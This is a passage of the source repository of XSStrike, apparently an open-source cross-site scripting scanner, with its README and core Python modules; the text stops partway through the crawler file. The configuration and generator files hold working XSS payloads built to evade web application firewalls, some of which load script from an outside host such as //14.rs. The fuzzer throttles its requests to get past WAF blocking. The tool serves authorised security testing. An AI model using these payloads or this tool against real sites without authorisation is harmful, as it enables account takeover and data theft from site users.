</tiTlE/><a%0donpOintErentER%0d=%0d(prompt)``>z
</SCRiPT/><DETAILs/+/onpoINTERenTEr%0a=%0aa=prompt,a()//
```
Apart from that, XSStrike has crawling, fuzzing, parameter discovery, WAF detection capabilities as well. It also scans for DOM XSS vulnerabilities.
### Main Features
- Reflected and DOM XSS scanning
- Multi-threaded crawling
- Context analysis
- Configurable core
- WAF detection & evasion
- Outdated JS lib scanning
- Intelligent payload generator
- Handmade HTML & JavaScript parser
- Powerful fuzzing engine
- Blind XSS support
- Highly researched work-flow
- Complete HTTP support
- Bruteforce payloads from a file
- Powered by [Photon](https://github.com/s0md3v/Photon), [Zetanize](https://github.com/s0md3v/zetanize) and [Arjun](https://github.com/s0md3v/Arjun)
- Payload Encoding
### Installation
Enter the following commands one by one in terminal:
```
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt --break-system-packages
```
Now, XSStrike can be used at any time as follows:
```
python xsstrike.py
```
### Documentation
- [Usage](https://github.com/s0md3v/XSStrike/wiki/Usage)
- [Compatibility & Dependencies](https://github.com/s0md3v/XSStrike/wiki/Compatibility-&-Dependencies)
### FAQ
- [It says fuzzywuzzy isn't installed but it is.](https://github.com/s0md3v/XSStrike/wiki/FAQ#it-says-fuzzywuzzy-is-not-installed-but-its)
- [What's up with Blind XSS?](https://github.com/s0md3v/XSStrike/wiki/FAQ#whats-up-with-blind-xss)
- [Why XSStrike boasts that it is the most advanced XSS detection suite?](https://github.com/s0md3v/XSStrike/wiki/FAQ#why-xsstrike-boasts-that-it-is-the-most-advanced-xss-detection-suite)
- [I like the project, what enhancements and features I can expect in future?](https://github.com/s0md3v/XSStrike/wiki/FAQ#i-like-the-project-what-enhancements-and-features-i-can-expect-in-future)
- [What's the false positive/negative rate?](https://github.com/s0md3v/XSStrike/wiki/FAQ#whats-the-false-positivenegative-rate)
- [Tool xyz works against the target, while XSStrike doesn't!](https://github.com/s0md3v/XSStrike/wiki/FAQ#tool-xyz-works-against-the-target-while-xsstrike-doesnt)
- [Can I copy it's code?](https://github.com/s0md3v/XSStrike/wiki/FAQ#can-i-copy-its-code)
- [What if I want to embed it into a proprietary software?](https://github.com/s0md3v/XSStrike/wiki/FAQ#what-if-i-want-to-embed-it-into-a-proprietary-software)
### Gallery
#### DOM XSS

#### Reflected XSS

#### Crawling

#### Fuzzing

#### Bruteforcing payloads from a file

#### Interactive HTTP Headers Prompt

#### Hidden Parameter Discovery

### Contribution, Credits & License
Ways to contribute
- Suggest a feature
- Report a bug
- Fix something and open a pull request
- Help me document the code
- Spread the word
Licensed under the GNU GPLv3, see [LICENSE](LICENSE) for more information.
The WAF signatures in `/db/wafSignatures.json` are taken & modified from [sqlmap](https://github.com/sqlmapproject/sqlmap). I extracted them from sqlmap's waf detection modules which can found [here](https://github.com/sqlmapproject/sqlmap/blob/master/waf/) and converted them to JSON.\
`/plugins/retireJS.py` is a modified version of [retirejslib](https://github.com/FallibleInc/retirejslib/).
================================================
FILE: core/__init__.py
================================================
================================================
FILE: core/checker.py
================================================
import copy
from fuzzywuzzy import fuzz
import re
from urllib.parse import unquote
from core.config import xsschecker
from core.requester import requester
from core.utils import replaceValue, fillHoles
def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding):
checkString = 'st4r7s' + payload + '3nd'
if encoding:
checkString = encoding(unquote(checkString))
response = requester(url, replaceValue(
params, xsschecker, checkString, copy.deepcopy), headers, GET, delay, timeout).text.lower()
reflectedPositions = []
for match in re.finditer('st4r7s', response):
reflectedPositions.append(match.start())
filledPositions = fillHoles(positions, reflectedPositions)
# Itretating over the reflections
num = 0
efficiencies = []
for position in filledPositions:
allEfficiencies = []
try:
reflected = response[reflectedPositions[num]
:reflectedPositions[num]+len(checkString)]
efficiency = fuzz.partial_ratio(reflected, checkString.lower())
allEfficiencies.append(efficiency)
except IndexError:
pass
if position:
reflected = response[position:position+len(checkString)]
if encoding:
checkString = encoding(checkString.lower())
efficiency = fuzz.partial_ratio(reflected, checkString)
if reflected[:-2] == ('\\%s' % checkString.replace('st4r7s', '').replace('3nd', '')):
efficiency = 90
allEfficiencies.append(efficiency)
efficiencies.append(max(allEfficiencies))
else:
efficiencies.append(0)
num += 1
return list(filter(None, efficiencies))
================================================
FILE: core/colors.py
================================================
import sys
import os
import platform
colors = True # Output should be colored
machine = sys.platform # Detecting the os of current system
checkplatform = platform.platform() # Get current version of OS
if machine.lower().startswith(('os', 'win', 'darwin', 'ios')):
colors = False # Colors shouldn't be displayed on mac & windows
if checkplatform.startswith("Windows-10") and int(platform.version().split(".")[2]) >= 10586:
colors = True
os.system('') # Enables the ANSI
if not colors:
end = red = white = green = yellow = run = bad = good = info = que = ''
else:
white = '\033[97m'
green = '\033[92m'
red = '\033[91m'
yellow = '\033[93m'
end = '\033[0m'
back = '\033[7;91m'
info = '\033[93m[!]\033[0m'
que = '\033[94m[?]\033[0m'
bad = '\033[91m[-]\033[0m'
good = '\033[92m[+]\033[0m'
run = '\033[97m[~]\033[0m'
================================================
FILE: core/config.py
================================================
changes = '''Negligible DOM XSS false positives;x10 faster crawling'''
globalVariables = {} # it holds variables during runtime for collaboration across modules
defaultEditor = 'nano'
blindPayload = '' # your blind XSS payload
xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
# More information on adding proxies: http://docs.python-requests.org/en/master/user/advanced/#proxies
proxies = {'http': 'http://0.0.0.0:8080', 'https': 'http://0.0.0.0:8080'}
minEfficiency = 90 # payloads below this efficiency will not be displayed
delay = 0 # default delay between http requests
threadCount = 10 # default number of threads
timeout = 10 # default number of http request timeout
# attributes that have special properties
specialAttributes = ['srcdoc', 'src']
badTags = ('iframe', 'title', 'textarea', 'noembed',
'style', 'template', 'noscript')
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
# "Things" that can be used between js functions and breakers e.g. '};alert()//
jFillings = (';')
# "Things" that can be used before > e.g. <tag attr=value%0dx>
lFillings = ('', '%0dx')
# "Things" to use between event handler and = or between function and =
eFillings = ('%09', '%0a', '%0d', '+')
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
eventHandlers = { # Event handlers and the tags compatible with them
'ontoggle': ['details'],
'onpointerenter': ['d3v', 'details', 'html', 'a'],
'onmouseover': ['a', 'html', 'd3v']
}
functions = ( # JavaScript functions to get a popup
'[8].find(confirm)', 'confirm()',
'(confirm)()', 'co\u006efir\u006d()',
'(prompt)``', 'a=prompt,a()')
payloads = ( # Payloads for filter & WAF evasion
'\'"</Script><Html Onmouseover=(confirm)()//'
'<imG/sRc=l oNerrOr=(prompt)() x>',
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
'<deTails open oNToggle=confi\u0072m()>',
'<img sRc=l oNerrOr=(confirm)() x>',
'<svg/x=">"/onload=confirm()//',
'<svg%0Aonload=%09((pro\u006dpt))()//',
'<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>',
'<sCript x>confirm``</scRipt x>',
'<Script x>prompt()</scRiPt x>',
'<sCriPt sRc=//14.rs>',
'<embed//sRc=//14.rs>',
'<base href=//14.rs/><script src=/>',
'<object//data=//14.rs>',
'<s=" onclick=confirm``>clickme',
'<svG oNLoad=co\u006efirm(1)>',
'\'"><y///oNMousEDown=((confirm))()>Click',
'<a/href=javascript:co\u006efirm("1")>clickme</a>',
'<img src=x onerror=confir\u006d`1`>',
'<svg/onload=co\u006efir\u006d`1`>')
fuzzes = ( # Fuzz strings to test WAFs
'<test', '<test//', '<test>', '<test x>', '<test x=y', '<test x=y//',
'<test/oNxX=yYy//', '<test oNxX=yYy>', '<test onload=x', '<test/o%00nload=x',
'<test sRc=xxx', '<test data=asa', '<test data=javascript:asa', '<svg x=y>',
'<details x=y//', '<a href=x//', '<emBed x=y>', '<object x=y//', '<bGsOund sRc=x>',
'<iSinDEx x=y//', '<aUdio x=y>', '<script x=y>', '<script//src=//', '">payload<br/attr="',
'"-confirm``-"', '<test ONdBlcLicK=x>', '<test/oNcoNTeXtMenU=x>', '<test OndRAgOvEr=x>')
headers = { # default headers
'User-Agent': '$',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
'DNT': '1',
'Upgrade-Insecure-Requests': '1',
}
blindParams = [ # common paramtere names to be bruteforced for parameter discovery
'redirect', 'redir', 'url', 'link', 'goto', 'debug', '_debug', 'test', 'get', 'index', 'src', 'source', 'file',
'frame', 'config', 'new', 'old', 'var', 'rurl', 'return_to', '_return', 'returl', 'last', 'text', 'load', 'email',
'mail', 'user', 'username', 'password', 'pass', 'passwd', 'first_name', 'last_name', 'back', 'href', 'ref', 'data', 'input',
'out', 'net', 'host', 'address', 'code', 'auth', 'userid', 'auth_token', 'token', 'error', 'keyword', 'key', 'q', 'query', 'aid',
'bid', 'cid', 'did', 'eid', 'fid', 'gid', 'hid', 'iid', 'jid', 'kid', 'lid', 'mid', 'nid', 'oid', 'pid', 'qid', 'rid', 'sid',
'tid', 'uid', 'vid', 'wid', 'xid', 'yid', 'zid', 'cal', 'country', 'x', 'y', 'topic', 'title', 'head', 'higher', 'lower', 'width',
'height', 'add', 'result', 'log', 'demo', 'example', 'message']
================================================
FILE: core/dom.py
================================================
import re
from core.colors import end, red, yellow
if len(end) < 1:
end = red = yellow = '*'
def dom(response):
highlighted = []
sources = r'''\b(?:document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|hash|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage)\b'''
sinks = r'''\b(?:eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location)\b'''
scripts = re.findall(r'(?i)(?s)<script[^>]*>(.*?)</script>', response)
sinkFound, sourceFound = False, False
for script in scripts:
script = script.split('\n')
num = 1
allControlledVariables = set()
try:
for newLine in script:
line = newLine
parts = line.split('var ')
controlledVariables = set()
if len(parts) > 1:
for part in parts:
for controlledVariable in allControlledVariables:
if controlledVariable in part:
controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\\$'))
pattern = re.finditer(sources, newLine)
for grp in pattern:
if grp:
source = newLine[grp.start():grp.end()].replace(' ', '')
if source:
if len(parts) > 1:
for part in parts:
if source in part:
controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\\$'))
line = line.replace(source, yellow + source + end)
for controlledVariable in controlledVariables:
allControlledVariables.add(controlledVariable)
for controlledVariable in allControlledVariables:
matches = list(filter(None, re.findall(r'\b%s\b' % controlledVariable, line)))
if matches:
sourceFound = True
line = re.sub(r'\b%s\b' % controlledVariable, yellow + controlledVariable + end, line)
pattern = re.finditer(sinks, newLine)
for grp in pattern:
if grp:
sink = newLine[grp.start():grp.end()].replace(' ', '')
if sink:
line = line.replace(sink, red + sink + end)
sinkFound = True
if line != newLine:
highlighted.append('%-3s %s' % (str(num), line.lstrip(' ')))
num += 1
except MemoryError:
pass
if sinkFound or sourceFound:
return highlighted
else:
return []
================================================
FILE: core/encoders.py
================================================
import base64 as b64
import re
def base64(string):
if re.match(r'^[A-Za-z0-9+\/=]+$', string) and (len(string) % 4) == 0:
return b64.b64decode(string.encode('utf-8')).decode('utf-8')
else:
return b64.b64encode(string.encode('utf-8')).decode('utf-8')
================================================
FILE: core/filterChecker.py
================================================
from core.checker import checker
def filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):
positions = occurences.keys()
sortedEfficiencies = {}
# adding < > to environments anyway because they can be used in all contexts
environments = set(['<', '>'])
for i in range(len(positions)):
sortedEfficiencies[i] = {}
for i in occurences:
occurences[i]['score'] = {}
context = occurences[i]['context']
if context == 'comment':
environments.add('-->')
elif context == 'script':
environments.add(occurences[i]['details']['quote'])
environments.add('</scRipT/>')
elif context == 'attribute':
if occurences[i]['details']['type'] == 'value':
if occurences[i]['details']['name'] == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding
environments.add('<') # so let's add the html entity
environments.add('>') # encoded versions of < and >
if occurences[i]['details']['quote']:
environments.add(occurences[i]['details']['quote'])
for environment in environments:
if environment:
efficiencies = checker(
url, params, headers, GET, delay, environment, positions, timeout, encoding)
efficiencies.extend([0] * (len(occurences) - len(efficiencies)))
for occurence, efficiency in zip(occurences, efficiencies):
occurences[occurence]['score'][environment] = efficiency
return occurences
================================================
FILE: core/fuzzer.py
================================================
import copy
from random import randint
from time import sleep
from urllib.parse import unquote
from core.colors import end, red, green, yellow
from core.config import fuzzes, xsschecker
from core.requester import requester
from core.utils import replaceValue, counter
from core.log import setup_logger
logger = setup_logger(__name__)
def fuzzer(url, params, headers, GET, delay, timeout, WAF, encoding):
for fuzz in fuzzes:
if delay == 0:
delay = 0
t = delay + randint(delay, delay * 2) + counter(fuzz)
sleep(t)
try:
if encoding:
fuzz = encoding(unquote(fuzz))
data = replaceValue(params, xsschecker, fuzz, copy.deepcopy)
response = requester(url, data, headers, GET, delay/2, timeout)
except:
logger.error('WAF is dropping suspicious requests.')
if delay == 0:
logger.info('Delay has been increased to %s6%s seconds.' % (green, end))
delay += 6
limit = (delay + 1) * 50
timer = -1
while timer < limit:
logger.info('\rFuzzing will continue after %s%i%s seconds.\t\t\r' % (green, limit, end))
limit -= 1
sleep(1)
try:
requester(url, params, headers, GET, 0, 10)
logger.good('Pheww! Looks like sleeping for %s%i%s seconds worked!' % (
green, ((delay + 1) * 2), end))
except:
logger.error('\nLooks like WAF has blocked our IP Address. Sorry!')
break
if encoding:
fuzz = encoding(fuzz)
if fuzz.lower() in response.text.lower(): # if fuzz string is reflected in the response
result = ('%s[passed] %s' % (green, end))
# if the server returned an error (Maybe WAF blocked it)
elif str(response.status_code)[:1] != '2':
result = ('%s[blocked] %s' % (red, end))
else: # if the fuzz string was not reflected in the response completely
result = ('%s[filtered]%s' % (yellow, end))
logger.info('%s %s' % (result, fuzz))
================================================
FILE: core/generator.py
================================================
from core.config import xsschecker, badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
from core.jsContexter import jsContexter
from core.utils import randomUpper as r, genGen, extractScripts
def generator(occurences, response):
scripts = extractScripts(response)
index = 0
vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(),
6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()}
for i in occurences:
context = occurences[i]['context']
if context == 'html':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
badTag = occurences[i]['details']['badTag'] if 'badTag' in occurences[i]['details'] else ''
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends, badTag)
for payload in payloads:
vectors[10].add(payload)
elif context == 'attribute':
found = False
tag = occurences[i]['details']['tag']
Type = occurences[i]['details']['type']
quote = occurences[i]['details']['quote'] or ''
attributeName = occurences[i]['details']['name']
attributeValue = occurences[i]['details']['value']
quoteEfficiency = occurences[i]['score'][quote] if quote in occurences[i]['score'] else 100
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if greatBracketEfficiency == 100 and quoteEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
payload = quote + '>' + payload
found = True
vectors[9].add(payload)
if quoteEfficiency == 100:
for filling in fillings:
for function in functions:
vector = quote + filling + r('autofocus') + \
filling + r('onfocus') + '=' + quote + function
found = True
vectors[8].add(vector)
if quoteEfficiency == 90:
for filling in fillings:
for function in functions:
vector = '\\' + quote + filling + r('autofocus') + filling + \
r('onfocus') + '=' + function + filling + '\\' + quote
found = True
vectors[7].add(vector)
if Type == 'value':
if attributeName == 'srcdoc':
if occurences[i]['score']['<']:
if occurences[i]['score']['>']:
del ends[:]
ends.append('%26gt;')
payloads = genGen(
fillings, eFillings, lFillings, eventHandlers, tags, functions, ends)
for payload in payloads:
found = True
vectors[9].add(payload.replace('<', '%26lt;'))
elif attributeName == 'href' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
elif attributeName.startswith('on'):
closer = jsContexter(attributeValue)
quote = ''
for char in attributeValue.split(xsschecker)[1]:
if char in ['\'', '"', '`']:
quote = char
break
suffix = '//\\'
for filling in jFillings:
for function in functions:
vector = quote + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
if quoteEfficiency > 83:
suffix = '//'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if quote == '':
filling = ''
vector = '\\' + quote + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
elif tag in ('script', 'iframe', 'embed', 'object'):
if attributeName in ('src', 'iframe', 'embed') and attributeValue == xsschecker:
payloads = ['//15.rs', '\\/\\\\\\/\\15.rs']
for payload in payloads:
vectors[10].add(payload)
elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
elif quoteEfficiency == greatBracketEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
payload = quote + '>' + r('</script/>') + payload
found = True
vectors[11].add(payload)
elif context == 'comment':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
vectors[10].add(payload)
elif context == 'script':
if scripts:
try:
script = scripts[index]
except IndexError:
script = scripts[0]
else:
continue
closer = jsContexter(script)
quote = occurences[i]['details']['quote']
scriptEfficiency = occurences[i]['score']['</scRipT/>']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = 100
if quote:
breakerEfficiency = occurences[i]['score'][quote]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if scriptEfficiency == 100:
breaker = r('</script/>')
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
vectors[10].add(payload)
if closer:
suffix = '//\\'
for filling in jFillings:
for function in functions:
vector = quote + closer + filling + function + suffix
vectors[7].add(vector)
elif breakerEfficiency > 83:
prefix = ''
suffix = '//'
if breakerEfficiency != 100:
prefix = '\\'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if quote == '':
filling = ''
vector = prefix + quote + closer + filling + function + suffix
vectors[6].add(vector)
index += 1
return vectors
================================================
FILE: core/htmlParser.py
================================================
import re
from core.config import badTags, xsschecker
from core.utils import isBadContext, equalize, escaped, extractScripts
def htmlParser(response, encoding):
rawResponse = response # raw response returned by requests
response = response.text # response content
if encoding: # if the user has specified an encoding, encode the probe in that
response = response.replace(encoding(xsschecker), xsschecker)
reflections = response.count(xsschecker)
position_and_context = {}
environment_details = {}
clean_response = re.sub(r'<!--[.\s\S]*?-->', '', response)
script_checkable = clean_response
for script in extractScripts(script_checkable):
occurences = re.finditer(r'(%s.*?)$' % xsschecker, script)
if occurences:
for occurence in occurences:
thisPosition = occurence.start(1)
position_and_context[thisPosition] = 'script'
environment_details[thisPosition] = {}
environment_details[thisPosition]['details'] = {'quote' : ''}
for i in range(len(occurence.group())):
currentChar = occurence.group()[i]
if currentChar in ('/', '\'', '`', '"') and not escaped(i, occurence.group()):
environment_details[thisPosition]['details']['quote'] = currentChar
elif currentChar in (')', ']', '}', '}') and not escaped(i, occurence.group()):
break
script_checkable = script_checkable.replace(xsschecker, '', 1)
if len(position_and_context) < reflections:
attribute_context = re.finditer(r'<[^>]*?(%s)[^>]*?>' % xsschecker, clean_response)
for occurence in attribute_context:
match = occurence.group(0)
thisPosition = occurence.start(1)
parts = re.split(r'\s', match)
tag = parts[0][1:]
for part in parts:
if xsschecker in part:
Type, quote, name, value = '', '', '', ''
if '=' in part:
quote = re.search(r'=([\'`"])?', part).group(1)
name_and_value = part.split('=')[0], '='.join(part.split('=')[1:])
if xsschecker == name_and_value[0]:
Type = 'name'
else:
Type = 'value'
name = name_and_value[0]
value = name_and_value[1].rstrip('>').rstrip(quote).lstrip(quote)
else:
Type = 'flag'
position_and_context[thisPosition] = 'attribute'
environment_details[thisPosition] = {}
environment_details[thisPosition]['details'] = {'tag' : tag, 'type' : Type, 'quote' : quote, 'value' : value, 'name' : name}
if len(position_and_context) < reflections:
html_context = re.finditer(xsschecker, clean_response)
for occurence in html_context:
thisPosition = occurence.start()
if thisPosition not in position_and_context:
position_and_context[occurence.start()] = 'html'
environment_details[thisPosition] = {}
environment_details[thisPosition]['details'] = {}
if len(position_and_context) < reflections:
comment_context = re.finditer(r'<!--[\s\S]*?(%s)[\s\S]*?-->' % xsschecker, response)
for occurence in comment_context:
thisPosition = occurence.start(1)
position_and_context[thisPosition] = 'comment'
environment_details[thisPosition] = {}
environment_details[thisPosition]['details'] = {}
database = {}
for i in sorted(position_and_context):
database[i] = {}
database[i]['position'] = i
database[i]['context'] = position_and_context[i]
database[i]['details'] = environment_details[i]['details']
bad_contexts = re.finditer(r'(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\s\S]*(%s)[.\s\S]*</\1>' % xsschecker, response)
non_executable_contexts = []
for each in bad_contexts:
non_executable_contexts.append([each.start(), each.end(), each.group(1)])
if non_executable_contexts:
for key in database.keys():
position = database[key]['position']
badTag = isBadContext(position, non_executable_contexts)
if badTag:
database[key]['details']['badTag'] = badTag
else:
database[key]['details']['badTag'] = ''
return database
================================================
FILE: core/jsContexter.py
================================================
import re
from core.config import xsschecker
from core.utils import stripper
def jsContexter(script):
broken = script.split(xsschecker)
pre = broken[0]
# remove everything that is between {..}, "..." or '...'
pre = re.sub(r'(?s)\{.*?\}|\(.*?\)|".*?"|\'.*?\'', '', pre)
breaker = ''
num = 0
for char in pre: # iterate over the remaining characters
if char == '{':
breaker += '}'
elif char == '(':
breaker += ';)' # yes, it should be ); but we will invert the whole thing later
elif char == '[':
breaker += ']'
elif char == '/':
try:
if pre[num + 1] == '*':
breaker += '/*'
except IndexError:
pass
elif char == '}': # we encountered a } so we will strip off "our }" because this one does the job
breaker = stripper(breaker, '}')
elif char == ')': # we encountered a ) so we will strip off "our }" because this one does the job
breaker = stripper(breaker, ')')
elif breaker == ']': # we encountered a ] so we will strip off "our }" because this one does the job
breaker = stripper(breaker, ']')
num += 1
return breaker[::-1] # invert the breaker string
================================================
FILE: core/log.py
================================================
import logging
from .colors import *
__all__ = ['setup_logger', 'console_log_level', 'file_log_level', 'log_file']
console_log_level = 'INFO'
file_log_level = None
log_file = 'xsstrike.log'
"""
Default Logging Levels
CRITICAL = 50
ERROR = 40
WARNING = 30
INFO = 20
DEBUG = 10
"""
VULN_LEVEL_NUM = 60
RUN_LEVEL_NUM = 22
GOOD_LEVEL_NUM = 25
logging.addLevelName(VULN_LEVEL_NUM, 'VULN')
logging.addLevelName(RUN_LEVEL_NUM, 'RUN')
logging.addLevelName(GOOD_LEVEL_NUM, 'GOOD')
def _vuln(self, msg, *args, **kwargs):
if self.isEnabledFor(VULN_LEVEL_NUM):
self._log(VULN_LEVEL_NUM, msg, args, **kwargs)
def _run(self, msg, *args, **kwargs):
if self.isEnabledFor(RUN_LEVEL_NUM):
self._log(RUN_LEVEL_NUM, msg, args, **kwargs)
def _good(self, msg, *args, **kwargs):
if self.isEnabledFor(GOOD_LEVEL_NUM):
self._log(GOOD_LEVEL_NUM, msg, args, **kwargs)
logging.Logger.vuln = _vuln
logging.Logger.run = _run
logging.Logger.good = _good
log_config = {
'DEBUG': {
'value': logging.DEBUG,
'prefix': '{}[*]{}'.format(yellow, end),
},
'INFO': {
'value': logging.INFO,
'prefix': info,
},
'RUN': {
'value': RUN_LEVEL_NUM,
'prefix': run,
},
'GOOD': {
'value': GOOD_LEVEL_NUM,
'prefix': good,
},
'WARNING': {
'value': logging.WARNING,
'prefix': '[!!]'.format(yellow, end),
},
'ERROR': {
'value': logging.ERROR,
'prefix': bad,
},
'CRITICAL': {
'value': logging.CRITICAL,
'prefix': '{}[--]{}'.format(red, end),
},
'VULN': {
'value': VULN_LEVEL_NUM,
'prefix': '{}[++]{}'.format(green, red),
}
}
class CustomFormatter(logging.Formatter):
def format(self, record):
msg = super().format(record)
if record.levelname in log_config.keys():
msg = '%s %s %s' % (log_config[record.levelname]['prefix'], msg, end)
return msg
class CustomStreamHandler(logging.StreamHandler):
default_terminator = '\n'
def emit(self, record):
"""
Overrides emit method to temporally update terminator character in case last log record character is '\r'
:param record:
:return:
"""
if record.msg.endswith('\r'):
self.terminator = '\r'
super().emit(record)
self.terminator = self.default_terminator
else:
super().emit(record)
def _switch_to_no_format_loggers(self):
self.removeHandler(self.console_handler)
self.addHandler(self.no_format_console_handler)
if hasattr(self, 'file_handler') and hasattr(self, 'no_format_file_handler'):
self.removeHandler(self.file_handler)
self.addHandler(self.no_format_file_handler)
def _switch_to_default_loggers(self):
self.removeHandler(self.no_format_console_handler)
self.addHandler(self.console_handler)
if hasattr(self, 'file_handler') and hasattr(self, 'no_format_file_handler'):
self.removeHandler(self.no_format_file_handler)
self.addHandler(self.file_handler)
def _get_level_and_log(self, msg, level):
if level.upper() in log_config.keys():
log_method = getattr(self, level.lower())
log_method(msg)
else:
self.info(msg)
def log_red_line(self, amount=60, level='INFO'):
_switch_to_no_format_loggers(self)
_get_level_and_log(self, red + ('-' * amount) + end, level)
_switch_to_default_loggers(self)
def log_no_format(self, msg='', level='INFO'):
_switch_to_no_format_loggers(self)
_get_level_and_log(self, msg, level)
_switch_to_default_loggers(self)
def log_debug_json(self, msg='', data={}):
if self.isEnabledFor(logging.DEBUG):
if isinstance(data, dict):
import json
try:
self.debug('{} {}'.format(msg, json.dumps(data, indent=2)))
except TypeError:
self.debug('{} {}'.format(msg, data))
else:
self.debug('{} {}'.format(msg, data))
def setup_logger(name='xsstrike'):
from types import MethodType
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
console_handler = CustomStreamHandler(sys.stdout)
console_handler.setLevel(log_config[console_log_level]['value'])
console_handler.setFormatter(CustomFormatter('%(message)s'))
logger.addHandler(console_handler)
# Setup blank handler to temporally use to log without format
no_format_console_handler = CustomStreamHandler(sys.stdout)
no_format_console_handler.setLevel((log_config[console_log_level]['value']))
no_format_console_handler.setFormatter(logging.Formatter(fmt=''))
# Store current handlers
logger.console_handler = console_handler
logger.no_format_console_handler = no_format_console_handler
if file_log_level:
detailed_formatter = logging.Formatter('%(asctime)s %(name)s - %(levelname)s - %(message)s')
file_handler = logging.FileHandler(log_file)
file_handler.setLevel(log_config[file_log_level]['value'])
file_handler.setFormatter(detailed_formatter)
logger.addHandler(file_handler)
# Setup blank handler to temporally use to log without format
no_format_file_handler = logging.FileHandler(log_file)
no_format_file_handler.setLevel(log_config[file_log_level]['value'])
no_format_file_handler.setFormatter(logging.Formatter(fmt=''))
# Store file handlers
logger.file_handler = file_handler
logger.no_format_file_handler = no_format_file_handler
# Create logger method to only log a red line
logger.red_line = MethodType(log_red_line, logger)
# Create logger method to log without format
logger.no_format = MethodType(log_no_format, logger)
# Create logger method to convert data to json and log with debug level
logger.debug_json = MethodType(log_debug_json, logger)
return logger
================================================
FILE: core/photon.py
================================================
import re
import concurrent.futures
from urllib.parse import urlparse
from core.dom import dom
from core.log import setup_logger
from core.utils import getUrl, getParams
from core.requester import requester
from core.zetanize import zetanize
from plugins.retireJs import retireJs
logger = setup_logger(__name__)
def photon(seedUrl, headers, level, threadCount, delay, timeout, skipDOM):
forms = [] # web forms
processed = set() # urls that have been crawled
storage = set() # urls that belong to the target i.e. in-scope
schema = urlparse(seedUrl).scheme # extract the scheme e.g. http or https
host = urlparse(seedUrl).netloc # extract the host e.g. example.com
main_url = schema + '://' + host # join scheme and host to make the root url
storage.add(seedUrl) # add the url to storage
checkedDOMs = []
def rec(target):
processed.add(target)
printableTarget = '/'.join(target.split('/')[3:])
if len(printableTarget) > 40:
printableTarget = printableTarget[-40:]
else:
printableTarget = (printableTarget + (' ' * (40 - len(printableTarget))))
logger.run('Parsing %s\r' % printableTarget)
url = getUrl(target, True)
params = getParams(target, '', True)
if '=' in target: # if there's a = in the url, there should be GET parameters
inps = []
for name, value in params.items():
inps.append({'name': name, 'value': value})
forms.append({0: {'action': url, 'method': 'get', 'inputs': inps}})
response = requester(url, params, headers, True, delay, timeout).text
retireJs(url, response)
if not skipDOM:
highlighted = dom(response)
clean_highlighted = ''.join([re.sub(r'^\d+\s+', '', line) for line in highlighted])
if highlighted and clean_highlighted not in checkedDOMs:
checkedDOMs.append(clean_highlighted)
logger.good('Potentially vulnerable objects found at %s' % url)
logger.red_line(level='good')
for line in highlighted:
logger.no_format(line, level='good')
logger.red_line(level='good')
forms.append(zetanize(response))
matches = re.findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response)
for link in matches: # iterate over the matches
# remove everything after a "#" to deal with in-page anchors
link = link.split('#')[0]
if link.endswith(('.pdf', '.png', '.jpg', '.jpeg', '.xls', '.xml', '.docx', '.doc')):
pass
else:
if link[:4] == 'http':
if link.startswith(main_url):
storage.add(link)
elif link[:2] == '//':
if link.split('/')[2].startswith(host):
storage.add(schema + link)
elif link[:1] == '/':
storage.add(main_url + link)
else:
storage.add(main_url + '/' + link)
try:
for x in range(level):
urls = storage - processed # urls to crawl = all urls - urls that have been crawled
# for url in urls:
